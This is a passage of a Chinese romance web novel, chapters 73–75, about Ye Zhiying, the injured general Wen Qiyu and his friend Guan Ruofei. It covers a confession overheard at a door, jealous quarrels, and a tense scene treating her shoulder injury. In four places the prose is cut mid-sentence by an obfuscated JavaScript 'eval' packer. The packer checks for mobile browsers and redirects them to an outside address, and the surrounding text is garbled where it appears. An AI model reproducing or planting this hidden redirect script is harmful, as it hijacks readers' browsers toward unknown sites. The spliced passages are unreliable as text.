温其玉的房门紧闭,阿力和阿卓正站在门口守着,她刚一靠近,就被阿力拦住:“少爷说没他的命令,谁都不能进去。” 叶之萤一听是温其玉下令,刚才的紧张便消除了不少,对于他,她总是充满信任。 正要回自己房里,温其玉房里就传来关若飞愤怒地嘶吼:“枉我如此敬重你,你竟然趁我去蒙州之时背着我勾引夜莺。” “他喝酒了?”叶之萤问阿卓。 阿卓无奈点头。 “若飞,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991695|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喝醉了,先回房休息,有什么事明日再说!”是温其玉的声音。 “我是喝酒了,但我没醉!你回答我,为什么背着我勾引夜莺?” “我并没有勾引叶姑娘。”温其玉否认。 “可她今日亲口跟我承认她喜欢你!” “若飞,感情是自然而然发生的事情,叶姑娘有权利喜欢任何人。” “那你呢?你喜欢她吗?” 房间里突然陷入了长久的安静。叶之萤的心也跟着提到了嗓子眼。这么久以来一直被他否认的一件事,今天会有答案吗? 她紧紧地扒着门上的镂空木雕,屏住呼吸,却听到自己的心正在扑通扑通地大声跳动。 “我爱她。” 这句话声音不大,却很坚定,直穿叶之萤的耳膜。 叶之萤捂住嘴巴,泪水却如大雨落下般流个不停。 “你不该爱她!”关若飞怒气冲冲地指责他。 “是啊,不该……”她听到温其玉长长地叹了口气,“年少时,我为了练出最强的骑术和射术,为了成为邺国最好的将军,可以放弃童年所有玩乐的时间,十年如一日地练习骑马、射箭,苦读兵书。后来,真的如愿以偿做了大将军。成为大将军后,为了击败阿尔钦,我也可以六年不返京、不见父母、不近女色。曾经的我,想做什么都能成功,令我一度产生了自己可以控制一切的错觉。直到我爱上了她,我明知自己不该爱她,却还是不可自控地爱上了她。原来这世上之事,并非全都能控制。我无法自控地想见她,无法自控想对她倾尽所有。即使如今不能承认我爱她,但也没关系,只要能看到她,能为她做些什么,我便满足了。” 他的声音充满了平静的幸福,即使没有看到他的脸,叶之萤也能够想象得到他幸福的样子。 “不过,”他很快从刚才的情绪中抽离出来,话锋一转,“有一点我尚且可以控制,我不会接受她。” 房间里又是一阵短暂的沉寂。 平日里的温其玉总是惜字如金,生怕多说几个字别人就会顺着他的话窥探到他的心,今日却一口气说了这么多。 明明那么炙热的一颗心,他却将它藏得深不见底。 “你……真的不和她在一起?”关若飞的语气已经没有了开始时的强势。 叶之萤继续将耳朵贴在门缝使劲听里面的动静,却没听到温其玉的任何回答。 “兄长,我现在脑子很乱,当我知道夜莺喜欢的人是你,一方面,我真的很嫉妒你!我一点也不意外她会喜欢你。输给你,我心服口服!另一方面,我亦真心为兄长感到高兴。夜莺是个很好的女子,这几年来,兄长受了如此多苦,若是日后有夜莺能够常伴左右,兄长定会十分幸福。从小到大,我与兄长关系最好,兄长教我骑马射箭、弹琴作诗,还教我为人处世的道理,如今兄长心有所属,我本应为兄长感到高兴,却跑来这里指责兄长……”讲到这里,关若飞也抽泣起来,语气中充满了痛苦和挣扎。 “若飞,不必自责,不必道歉。我的决定,本就与你无关。”温其玉没有一丝愠怒或不满,就如同他的名字那样,如玉般清凉温润。 “请兄长听我把话说完。”关若飞深吸一口气,继续说道,“我之所以反对,并不是为了一己私欲,而是因为对于兄长来说,需要的是一个能时刻陪在你身边照顾你的人,但夜莺,她十指不沾阳春水,自己的生活起居都随性而为,根本照顾不好你。她如今一时新鲜对你动了情,或许一段日子之后,她就会厌烦这样的生活。她有野心,不甘于被人束缚,就像一只蓄势待发的鹰,注定要在空中自由地翱翔,兄长却不能陪她一起翱翔!长此以往,感情恐不会长久!” “他在胡言乱语什么呀?我和温其玉的事,他瞎搅和什么?自作聪明!自以为是!他以为他是谁!”叶之萤忍不住挥着拳头低吼道,又因为太过激动扯到右肩的伤,疼得直哼唧。 “嘘!嘘!”身旁的阿力忙示意她小声点,别被里面的人听见。 正抱怨着,房里又传来了温其玉的声音,她赶紧停下所有动作竖着耳朵趴在门缝仔细听:“这些话你自不必说,我心里有数。如今我已被困于这床榻之上,断不会再去折断她的翅膀。你大可放心。至于叶姑娘对你的感情,我不会横加阻挠,亦不会推波助澜,因为那是你们自己的事情。” …… “自以为是!”叶之萤被两人的对话气得火冒三丈,撂下这句话,就气得回房去了。 73. 豁达 第二日一早,关若飞不知从谁那儿得知叶之萤肩膀受伤的消息,让阿卓送了药膏给她,对他极为不满的叶之萤将阿卓和药膏一起拒之门外。 过了一会儿,又有人敲门。 “谁?”她没好气地问。 “叶小姐,是我。”是阿力的声音,“右肩的伤势可有好些?” 她示意柳儿别开门,隔着门气冲冲大吼:“没有,快死了!” 柳儿瞪大眼睛看着她,门外也没有了声音,显然是被她的话噎住了。 过了一会儿,阿力又开口了,语气很是为难,一听就是必须完成某人交代的任务:“能否把门打开,让我进去为你检查一下,也好放心?” 放心?我偏不让他放心! “不能!”她干脆拒绝。 “叶小姐,你的骨头虽说是复位了,但也要好好保养才行,还是开门让我看看吧。”阿力在门外好言相劝,叶之萤几乎已经可以补脑出他的崩溃了。她和温其玉吵架,他夹在中间两边为难,实在是对不起他了…… “阿力,告诉你家少爷,从今往后我是死是活都跟他没关系,让他管好他自己的事,少□□的心!” 门外终于没了动静,叶之萤躺在床上,用被子捂着头生闷气。 过了没多久,又有人敲门。 “谁?”她不耐烦地吼道。 “夜莺,是我!”是关若飞。 一听到他的声音,叶之萤就想到他昨天跟温其玉说的那些混账话,气就不打一处来,甚至连一句“滚”都不想跟他说。 他听房里没动静,就继续敲门,敲了好久,吵得叶之萤终于忍不了了。 “别敲了,烦死了!”她冲门外大吼。 “你把门打开,我就不烦你了!”他竟然还有脸威胁她。 “我谁都不想见,让我安静会儿行吗?” “夜莺,我只是想看看你。” 她气冲冲地起身走到门前,隔着门愤怒道:“关若飞,你想看我我就必须让你看吗?你知不知道尊重两个字的意思?我告诉你,很多事情不是你想怎样就怎样的,也不是你觉得该这样做就必须要这样做,你的想法仅仅代表你自己,代表不了其他人,不要用你的想法绑架别人。我们大家都管好自己的事,不要把手伸得太长,不要试图干涉他人的因果,可以吗?” 原本昨天他那些自以为是的言论已经让叶之萤极不舒服,没想到今天竟然还有脸送上门找骂,一时之间很多话在心里不吐不快。 “夜莺,我是为你考虑啊!”门外的关若飞倒委屈起来了,根本没有听懂她的意思。 “你这不是为我考虑,你这是自以为为我考虑。听懂我刚才的话了吗?我们都是独立的成年人,你我只是朋友,不要打着为我好的旗号对我个人的事情指手画脚,你越界了!”她严肃警告他。 他站在门外一言不发,过了很久才又开口,语气听起来非常沮丧:“药膏我放门口了,一日一敷,连敷五日。” 说完,就离开了。 等他走后,叶之萤开门将药膏取了进来。 下午,她站在窗边开窗透气,却听见隔壁房间有悉悉索索的忙碌声。 “你们少爷房里在干嘛?”她问柳儿道。 “少爷刚熏了药。”柳儿回答。 “哦。”若不是柳儿提醒,叶之萤都忘了温其玉今天又该熏药了。 温其玉房间的门紧闭着,门外那架躺椅也换上了另一张做工精细、花纹精美的垫子。不得不说,这张垫子远比她缝的那张更适合这里的一花一树、一屋一景。每当她那张垫子需要清洗的时候,温其玉便会暂时换上这张,等那张垫子晾干后又立马换回来。 门虽闭着,窗户却大开着,她蹑手蹑脚来到窗边立住,正好可以将床上的人看得一清二楚。 如今已是炎夏时分,他却仍盖着厚厚的冬被,面色虚弱,一看便知身体刚刚经历过一场痛苦的厮杀。 他对站在窗边的人毫无察觉,茫然的双眼无力地睁着,眼珠一动不动,不知道正看向哪里。 那么高大的一个人,孤独地躺在床上,安静得仿佛不存在一样。 叶之萤心里一紧,眼眶一下子就红了。 一阵风吹来,掠过了她的身体,又从窗户飘进屋里,再拂过那张苍白的脸。 只见他无神的瞳孔瞬间收缩,用鼻子嗅了嗅空气中的味道,而后吃力地抬头,将头扭到窗户的方向,努力地往叶之萤站的地方“看”过来。 糟糕!难道被他闻到味道了? 叶之萤赶紧低头闻了闻自己的衣服,只有一股很淡很淡的花香,不凑在衣服上闻根本闻不到。他不应该闻得到吧? 但她还是躲到了窗户后面。这一躲,她又突然反应过来,即使站在原地不动,温其玉也看不到她。 温其玉的眼睛不断地眯起又睁开,眉头也跟着皱了起来,似乎是想要对焦,让自己可以看得清楚,但显然只是徒劳。 叶之萤眼看着他的表情从专注到失落,最后紧闭双眼,又将头转了回去。再也不忍心看下去,红着眼眶回了房。 夜里,阿力又过来敲门要检查她的肩伤。她的心里乱作一团,全是对温其玉的担心。 不知道他的体力恢复了没有?眼睛能看到了吗?能说话了吗? 比起那蚀骨般的身痛,那爱而不敢言的心痛,还有那无力改变身体残障的绝望之苦,自己的这点肩伤算得了什么呢? 这个人身上所背负的痛苦已经太多,却还不忘照顾她,她一时心软,不再像上午那样嘴硬,隔着门对阿力说:“告诉他,我已经好多了,关衙内送了药来,我已经敷上了,让他不用担心。” 才一天而已,三人的关系急转直下,一日三餐也都改在各自房里解决。温宅突然又变得死气沉沉,从早到晚连个人声都听不见,只剩鸟叫声和蝉鸣声热闹得响个不停,将这院里的一众人们衬托得更加孤独。 阿力依旧每日都来敲叶之萤的门,她也依旧闭门不见。关若飞的药膏效果不错,贴了三日后,右手就可以握东西了,只是肩膀还不能大范围的活动。 十五日一大早,她便收拾去沈氏布庄上班,一出门,就看到关若飞和阿力同时站在门口。 隔壁的房门也开着,屋里灯火明亮。她忍不住探头往里看了一眼,床上坐着的人好像也正往外看,吓得她匆忙把头扭了回来。 门外那张躺椅上依旧铺的是另一张垫子,已经好几天了。看来是特意换掉了她的垫子,很好! 她有些恼怒地瞥了门外的两人一眼,便往外走去。 “夜莺,今日我陪你去布庄。”关若飞在身后叫她。 “不用!” “我有话跟你说!”他急忙跑过来追上她。 看他一脸严肃的样子,叶之萤心想可能真的有事,便同意了:“阿力,今天我和关衙内去,你就不用去了。” 阿力往温其玉房里看了一眼,似乎是在请示里面的人,而后便没有再跟上来。 一路上,关若飞却始终不说话,眼看就快到布庄了,叶之萤道:“我快到了,要是没事的话你就请回吧。” “夜莺!”他终于开了口,“对不起!” “你指哪件事?”叶之萤继续前行。 “这几日我想明白了,你那日说得对,我确实没有资格干预你和兄长的感情。” 叶之萤停下了脚步。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991696|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才三天时间,他就想明白了? “其实我一直都明白的,之所以拿兄长的身体做借口反对你们在一起,纯粹只是不愿接受你们互相喜欢的事实罢了。”他一边说一边苦笑,“我试图用这个理由令你们知难而退,同时给自己保留一些机会,以为或许这样就可以在与兄长的竞争中占据上风。我是不是很卑鄙?” 他看着她的眼睛问道,眼神中透露出难以自抑的愧疚。 叶之萤点头道:“是卑鄙了点儿,不过只卑鄙三天就良心发现了,说明还有救。” 关若飞虽然平日里洒脱恣意,但突然发现自己喜欢的女人和自己从小到大最敬重的兄长竟然互相爱慕,一时之间接受不了,其实也是人之常情。 “谢谢你不怪我!不知兄长会不会……” “当然不会,他绝对不会怪你的!” “我知道,但我……我……你恐怕还不知道,我那日以他的身体为由逼他主动退出……夜莺,我真是该死,竟然对兄长说了那样的话!”他懊恼地挥着双拳,想发泄却无处发泄。 “我知道,那天我就在门外。”她坦诚道。 “你全听到了?”他惊讶不已。 “嗯。”她点头道。 “你会怪我吗?”他小心翼翼地问。 叶之萤笑着摇头:“你不过正好说出了他心中所想,他根本不是因为你的话才拒绝我的,就算你什么都不说,他也不会接受我。” “夜莺,你真的喜欢兄长吗?”他突然郑重其事地看着叶之萤。叶之萤也被他带动的严肃起来。 她知道他问的是什么,不单单是此刻的感觉,更是未来的责任。他是在问她,是否真的可以接受温其玉的身体缺陷,又是否真的做好了准备面对日后可能遇到的困难。 “是!”叶之萤坚定地回答,“我曾经试图说服自己他不适合我,也试图说服自己放弃他,但都失败了。不管前路有多难行,我都愿意和他在一起。不过……” 她话音一转,继续说道:“我一个人愿意也没用,他的态度你应该也知道了,别说接受我了,根本就不承认喜欢我。” “兄长心思重,又固执得很,等他主动承认恐怕是行不通,还是需要另一只手在身后推他一把才行。”关若飞眯起眼睛,仿佛是已经有了主意。 “你的意思是?” “我帮你!” “你帮我?”叶之萤惊讶地叫了起来。她和温其玉的事,他消化得这么快? 关若飞看出了她的心思,笑着说道:“我关若飞一向行事坦荡,你既然明确告知不喜欢我,我自然不会再强人所难。这世上不如意之事本就是常有的,即使是幸运如我也不可能事事如意。这件事上栽了跟头,那就爬起来继续往前走,前路漫漫,良辰美景繁如星火,我又何须倒地不起,趴在原地自怨自艾?你与兄长既然两情相悦,我与其从中作梗、惹得众人厌烦,不如顺水推舟,还能落得个好人情,这个账我还是会算的!” “你能想得通就好,若飞,对不起!”这是叶之萤第一次叫他“若飞”,经此一事,她反倒觉得自己与他之间的关系比从前更近了。 关若飞不许她再说下去:“夜莺,不必道歉,感情之事本就无关对错。话说回来,我还要感谢你与兄长的坦诚相告,没有因为怕伤害我而拖泥带水,更没有给我不切实际的希望,我才能迅速从现实中清醒过来。” 叶之萤不知道他是真的想通了还是故作坚强,但他刚经历了情伤,还是因自己而起,如果现在就让他为自己和温其玉的事推波助澜,未免残忍了些。但看他一脸诚恳的样子,又怕一口拒绝会让他失望。于是没有回答他,借口到时间该去布庄,便慌忙逃走了。 74. 醋意 今日布庄生意依旧很好,叶之萤拖着受伤的右臂不停地为客户穿衣服、脱衣服。古代的衣服很难穿脱,一天下来,本来已经好转的伤势毫不意外的又加重了。到下班时,整个右臂都疼得不能动。 “我原以为你只需帮着掌柜接待顾客而已,要知道你在布庄是这样给顾客试衣,说什么今日都要让你告假的!”了解了叶之萤工作内容的关若飞懊恼不已。 叶之萤拉住他的胳膊:“好了走吧,今天挣了十两银子呢,也不算亏!” 他甩开她的手愤愤道:“我不知情也就罢了,毕竟你来布庄这一个多月我都不在啊,兄长他该知道吧,为何还让你带着伤来给人试衣裳?今早也不拦住你!” “好好的你提他干嘛?影响心情!”她正嘟哝着,一抬眼发现又走到了平时买花的摊位前。 摊主早就看到了她,拿起摊位上那束娇艳如火的红玫瑰,笑着朝她喊道:“小姐,今日的红玫瑰特别大,还要买一把吗?” 她看着那把玫瑰忽然晃了神,然后摇了摇头走掉了。如今这个样子,真不知道该怎么面对温其玉。 人生中第一次想要主动追一个人,却被那人反复拒绝,虽然她不会放弃,但骨子里的骄傲和自尊都不允许她再对他低下头颅、放低姿态。 “夜莺!夜莺!”关若飞一边叫她,一边追上了她,手中抱着的正是那束红玫瑰。 “你怎么买了?”她有些生气。 他被问得有些懵,急忙解释道:“我听摊主那意思,你之前应该总在他那儿买红玫瑰,想着你喜欢,就买了……” “之前是买给温其玉的,他不愿意要,所以现在不买了。”她坦言道。 “原来是买给兄长的啊!咳,他不要我要!”关若飞美滋滋地将那束花凑在脸旁。 “小心有刺!”她无奈提醒他。 “哎呀!你怎么不早提醒!”他使劲揉着被刺扎到的左脸抱怨着。 “真傻!”她笑着朝他翻了个白眼,“陪我去个地方呗?” “哪儿?” “那儿!” 这是叶之萤一个月之后再一次踏入福裕绸庄,一进门,便径直往货架走去。 “掌柜的,我要这件上衣,还有这条裙子。” 这是端午节那日她试过的一套衣服。当时没钱买,只能扫兴离开。而现在,虽然钱还是不多,但足够给自己圆梦了。 这套衣服花了叶之萤二十两银子,掌柜的依旧给她打了折,在福裕绸庄里,自然算不得贵价货,但对叶之萤来说,却花了三分之一的家当。 那日灰头土脸从这里出去,她心里始终憋着一口气,不甘心曾经那个光艳四射的叶之萤从此就被打入万丈深渊,她想要证明,叶之萤还可以重新过上体面的生活。 或许有人会说,物质的富足并不能代表体面,执着于一套福裕绸庄的衣服,不过只是虚荣而已。或许吧! 世人总爱吹捧那些明明拥有一切却仍然看淡一切的人,仿佛这样的人才是高雅的、脱俗的,令人敬佩的。 手握权势的人说他们不在意权力,是因为即使他们谦卑到尘埃,也不会有人因此而怠慢了他们,反而还能博得一个好的名声;有钱人说他们不喜欢金钱,是因为即使他们穿着破洞的衣服,也不会有人因此而看轻了他们,说不定一不小心还能引领一轮新的时尚;学者们说他们不需要用权力和物质来包装自己,是因为他们有丰富的精神世界、有强大的内在信念支撑自己,所以才不再需要那些虚假的繁荣。 可当一个一无所有的人说他不在意权力、不喜欢金钱,没人会觉得他豁达超脱,大家只会觉得他在嘴硬;当一个一无所有的人谦卑到尘埃,也不会收获什么好的名声,只会收获一枚“老实人”奖章;当一个一无所有的人穿着破洞的衣服,更不可能引领什么时尚,只会遭来周围人的怜悯或嘲笑。 人的底气总是要有东西支撑的,这个东西或许是权力,或许是金钱,或许是文化,或许是能力,又或者是内心强大的信仰。 在当下,对于一无所有的叶之萤来说,这套衣服已不单单是一套衣服,它就是支撑自己底气的东西,代表着自己不会被命运击垮! 回到温宅后,关若飞抱着□□直进了温其玉房间。 “你要干嘛去?”叶之萤赶紧拉他,没拉住,眼看他进了门,她没有进去,而是站在门外使眼色叫他出来。 谁知,关若飞看她没进去,竟然又拐回来扯住她的袖口:“夜莺,进来啊!” 叶之萤硬生生被他拽进了门。 温其玉此时正靠坐在床上,阿力和荣祥在收拾他面前的空碗盘。见二人进来,他先是点头与关若飞打了个招呼,随后目光便落在了那只紧拽着叶之萤衣袖的手上,目光有一瞬间停滞,而后又若无其事望向关若飞怀里的那束玫瑰,目光再度停滞。 “兄长,好看吗?”关若飞一手拉着叶之萤衣袖,一手捧着花,大步走到了温其玉床边。叶之萤被关若飞硬扯着也走了过去。 “嗯……”床上的人轻轻点了下头。 “夜莺送我的!” 一旁的叶之萤这下反应过来了,原来关若飞演的是想让温其玉吃醋这一出啊! 今早他确实说过要推温其玉一把,但她还并未答应,没想到他这就自己演上了! 拿着一束花跑到温其玉面前炫耀,果然是幼稚的他会做的事!但不管怎样,自己现在也不能拆他的台,于是硬着头皮配合他:“好啦,别炫耀了!一会儿拿到你房里找个花瓶插起来,我们走吧!” 说着,便反手拉上关若飞的手腕。 床上的温其玉心态倒是挺稳,表面看起来不恼不燥,一副与己无关、置身事外的样子。 哼,心在滴血吧?还装! 他越是这样装作无所谓,叶之萤反倒被逼出了逆反心! 她决定不催关若飞走了,她倒是要看看,这人是不是真如他装的那样铁石心肠! “夜莺,你先坐在这儿。”关若飞毫不避讳地揽着她的后背,引她往软榻的方向去。 温其玉见状,只是皱了下眉,那种皱眉不是心里难过,倒像是被二人的亲昵恶心到了。叶之萤怒意瞬起,将身体紧紧靠在了关若飞怀里。 “干嘛呀?”她装作顺从地坐上软榻,对关若飞撒起娇来。 温其玉此时再也看不下去二人的举动了,咬牙切齿地收回了目光,眼不见为净! “兄长,夜莺右肩的伤又加重了,能否麻烦阿力再帮她检查检查?” 关若飞话音刚落,叶之萤就蹙起眉头,配合地演起了疼。 明知她是在演戏,可温其玉一听到她的伤加重了,还是没忍住想为她检查,谁知一扭头,身体突然就失了控。 眼看床上的人就要翻下床去,叶之萤腾地从榻上弹起,一个箭步冲到床边,及时用身体顶住了他。 温其玉的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“温少爷说的是!”叶之萤恼羞成怒,又突然笑了起来,“只是不知道是谁不自量力,坐都坐不稳,扭个头都能摔倒,就这也想保护别人?不知道自己几斤几两吗?” 无情的讥笑刺痛了温其玉的耳膜,一股怒意瞬间浮上了他冰冷的眼底。 “夜莺!过火了!”关若飞在她耳边小声提醒,又急忙跟床上的人解释,“兄长,夜莺只是在气头上,才口无遮拦,你知道她定不是这样想的……” “我就是这样想的!”她甩开关若飞的手,警告他道,“关若飞,我自己有嘴,你不用每句话都替我翻译!” “那……那你们别吵了行不行?”他一脸崩溃地哀求二人。 “当然可以!不见面自然就不会吵!”她狠狠地剜了床上的人一眼,就要拉着关若飞往门外走。 “可是你的伤还没检查呢!”关若飞反拉住她,又把她拽了回来。 “黎城就他一个大夫?非得找他治吗?”她看关若飞还不愿走,便一把甩开了他的手。 刚行没两步,身后就传来温其玉的声音:“阿力,拦住她!” 门外的阿力听到指令,先她一步关了门,并把门在外头拴住,在她还没反应过来之时,又把窗户也在外拴住了。 “温其玉,你什么意思?”她气急败坏地跺脚。 75. 拉扯…… “我对你的这些事一点也不感…… “你不是要我帮你检查肩伤吗?”温其玉缓缓开口,冷静得仿佛刚才的争吵没发生过一样。 “你没听见我的话吗?外面大夫多得是,就不劳您大驾了!” “你方才所言很有道理,既然你的伤是因我加重,我的确不该不闻不问。” 叶之萤成功被他气笑了。 “所以你就把我关起来,打算强买强卖?这就是你所谓的‘修养’?” 温其玉理直气壮地反问:“不这么做,你会心甘情愿留下来让我治疗?” 叶之萤心想,他未免太小看自己了,今日哪怕不要这条胳膊,自己也绝不会跟他妥协! “你以为锁上门,我就会让你治疗吗?”她走到书桌后面,在书架上随手拿起一本书翻了起来。 “夜莺,”关若飞此时来到她面前,试探着劝她,“疗伤重要,要不,还是让兄长替你检查一下吧?” 她并不抬头,只当没听见他说话。 关若飞见她态度强硬,又跑去劝温其玉。他的声音压得很低,叶之萤只能偶尔听见几个词,比如“很严重”、“废了”之类的,并不能完整地听到他讲话。 很快,屋里的光线就昏暗得看不了书了。但即使光线充足,叶之萤也没心思看。刚刚被温其玉撞得那一下好像撞到了神经,此刻,整条胳膊就像被电击似的抽疼。 用一条胳膊的健康跟温其玉赌气,是不是太不值当了?可是她叶之萤天生倔强,最讨厌被人威胁,还是被温其玉威胁,又怎么能低头? 关若飞一个人垂头丧气地坐在榻上。可怜的他只和温其玉说了几句话,就被赶到了那里。事态发展成这样,是他始料未及的。 “叶姑娘。”是那人的声音,听上去比刚才多了些温度。 她没有回应。 关若飞倒是久旱逢甘露似的瞬间支棱起来了。 “方才是我无理了,我向你道歉。” 没听错吧?他是哪根筋搭错了?刚才不是还很强硬吗?怎么突然态度就一百八十度大转弯了? 叶之萤才不信他是真心道歉,不过是换种方式逼自己就范罢了,于是阴阳怪气道:“不不不,刚才明明是我不自量力,温公子又没做错什么,道什么歉啊!” 屋子里又是一阵长久的寂静。 “你既不愿让我医治,那便叫林大夫来吧。” 墨色已经染透了天空,屋里却一直没有点灯,只有些许微弱的月光透过窗棂洒在地堂。叶之萤已经看不到他的脸了,可听他的声音,已经全然没有了刚才的嚣张。 但她还是气不过:“不用你安排,我自己能找大夫。” “眼下夜已深,恐怕黎城没有别的大夫可寻了。” “那就等明天。”肩膀再疼,嘴上都不能输。 然而实际情况却是,且不说这伤能不能拖到明天,单单是这疼…… 叶之萤的内衫此时已经被汗浸透了,她甚至否没办法安静地坐在椅子上,而是得不停地晃着身子才能缓解肩膀的痛苦,是万万等不到“明天”了! “连声音都在发抖,还嘴硬?” 被他发现了。 “我那是被你气的,你少一副料事如神的样子了!” “若是再耽搁一夜,错过治疗时机,你的右臂怕是会永久致残。”他的声音已经尽量冷静,但仍压不住对她的担忧。 不管这话是真还是假,叶之萤是真的被这句话吓住了。 “残就残……”一阵猛烈的疼痛适时袭来,顺着某一根神经从肩膀俯冲到手指,大拇指突然不受控地抽搐了几下。这无疑又给他的话增加了不少真实性,她再也没有嘴硬的底气了。 “叶姑娘,能否给我个机会弥补刚才的过失?”他的态度和刚才简直判若两人。 “是啊夜莺,再怎么样也别拿自己的身体赌气啊!兄长都已经认错了,你就原谅他吧!” …… 她一下子不知道该如何是好了。自己其实已经没那么生气了,但又不想轻易原谅温其玉,可这胳膊也不能不治……哎,好烦啊! 温其玉见她不说话,又道:“你若真不愿让我替你医治,那便让阿力将黎城最好的大夫请来温宅为你医治,这样可好?” “夜莺,黎城最好的大夫治疗这肩伤也不可能比兄长更厉害,更何况,这一来一回怎么也得一个多时辰,你可还能坚持?听我的,就让兄长给你治吧!” 关若飞说得没错,叶之萤此时已经疼得失去表情管理了,幸亏没点灯,他们看不见她脸上的痛苦。可要是再等一个时辰,她恐怕要疼得去撞墙了。 “若飞,把轮椅推来,抱我上去。”床上的人突然开口道。 “你要干嘛?”叶之萤问他。 “你不过来,我只能过去为你检查了。”他道。 …… “好了好了,温其玉,这次我好女不跟男争,姑且饶你一次!”叶之萤不得不妥协了。 关若飞听她这么说,激动地从榻上跳起来,踢里咚隆不知道在干嘛。 “终于和好了!我先给咱把灯点上哎呦……嘶……”痛苦的一声哼唧。 “你怎么了?”叶之萤寻声问去。 “腿撞凳子上了!不碍事。” 很快,屋子里就点上了一盏昏暗的烛光,接着两盏、三盏……八盏、九盏。屋里越来越亮,她终于看清了远处床上的人的脸。 他一脸疲态,虚弱地靠在床头,疲惫得让人心疼。有那么一瞬间,她甚至都有些不忍让他再为自己治伤,也懊悔为什么不好好保护自己,害他总要为自己忧心。 但仅仅几秒之后,那突然决堤的同情心就被理智的大坝拦截住了。 “过来吧。”关若飞瘸着腿走上前迎她。 “撞得很严重吗?别动,我看看。” 关若飞立马听话地站在原地,她走到他身边蹲下,卷起他的裤腿为他检查,原来是撞到了腓骨。 “只破了一点皮,没流血。”她为他整好裤腿,站起身来,安慰他道,“撞到这个地方是比较疼的,忍一忍,过会儿就好了。” “夜莺,你对我真好!”他的表演恰如其分。 她默契地冲他一眨眼,二人便像对上了密码一般笑了起来。 只有床上的人满脸乌云。 关若飞扶她在床边坐下,便准备去叫阿力。 “不必叫他了,脱下右臂的衣袖。”温其玉面色如铁,命令她。 “那我先出去,有需要叫我。”关若飞一听要脱衣服,便敲门示意阿力打开门,自觉离开了。 “我要阿力给我检查。”见他又变成了这副态度,叶之萤又想跟他作对了。 “阿力医术不精,检查时还需我指导,况且,他不便做此事。” 叶之萤笑着反问他:“这是什么话,阿力不便,你就便了?” “在医者眼中,治病救人本就没有男女之分,我所说的‘不便’,是他个人杂念太多,不能心无旁骛为你治疗,并非你所想的那种‘不便’。脱衣袖!” “阿力的杂念不就是你?”她小声嘟哝,“当着你的面,他怎么敢动我?” 他一下子就听懂了她话里的意思,顿时有些心虚地避开她的眼神。 “把袖子脱掉。”他不想再与她继续掰扯。 于是,叶之萤呲牙咧嘴地将外层的纱衣慢慢褪到腰处,又开始动手解中衣。 他吓得朝她低吼:“你在做什么?停下。” “脱衣服,不是……你让我脱……的吗?”她痛得眼眶里已经噙满了眼泪,说话也断断续续,不停地大喘气,可即使如此,她手里的动作也没有停下。 他明知她是故意的,想逃,却无处可逃。 烛台里的火焰正在急促地跳动着,一如对面的人此刻的心情,灯油也时不时地发出“啪啪”地炸响,搅动着原本宁静的夜。 “可以了!” “够了!” “不要再脱了!” 而她却自始至终没有停下。 见抗议无果,他干脆将头扭到另一侧。 最终,叶之萤的身上只留了一件粉色的真丝吊带。 “好了,你……可以检查了。”她用颤抖的指头轻轻地点了两下他的胳膊。 他并没有回头,而是命令她:“先把衣裳穿起来。” 她不穿。二人谁都不让步,拉锯战进入了僵持阶段。 “我……太疼了……没力气……穿了……”她喘着粗气委屈道。 眼前的人将头重新转了回来。 “你刚刚为什么……要给我道歉?怎么不把……尖酸刻薄、铁石心肠……演到底啊?” “我不懂你在说什么!”他的目光已经落在了她的肩膀,表情冷漠,看不出一点感情色彩。 “你别忘了,我可是……专业演员,别人看不出,难道……我还看不出吗?你是看到我和若飞……那么亲密,所以……吃醋了?还是……你想通过这样的方式……让我对你死心?”她一边大口喘气一边质问他。 温其玉不说话,在叶之萤看来便是默认了她说的全都是真的。 “最后妥协……跟我服软,还是因为……担心我的伤吧?说到底,你还是关心……关心我的,是吧?” “叶姑娘于我有恩,又与若飞是好友,我自然是关心你的。”他避重就轻地回答,而后,又无情地拆穿了她,“叶姑娘不用再演了,方才你脱衣时的动作我便看出,你的伤现下并没有那么痛。” 他的眼神还是那么犀利。叶之萤随即笑了起来,不再假装:“我与‘若飞’是好友,与你难道不是吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“因为我本来就是这样的啊!你忘了吗?我第一天见你时穿的就是这样不堪入目。我本来就是你以为的那样!”她带着一肚子委屈和气愤,故意说着这些气话,越说越气,眼看又要和他大吵一架。 “你明知我不是这个意思。”他无奈叹气。 叶之萤很快就让自己平复了情绪,在这样的拉锯战中,先在乎的那一方,无疑才是失败者。 “随便你是什么意思,我并不在意你怎么看我。温大夫,夜深露重,你要再不治,我可要得风寒了!” “那就请叶姑娘先把衣裳穿好。另外,我作为若飞的兄长有必要提醒你,既然你已经决定接受若飞,就请自重些。” 这话到底是在替关若飞鸣不平,还是他自己吃醋,倒是有些让人琢磨不透。 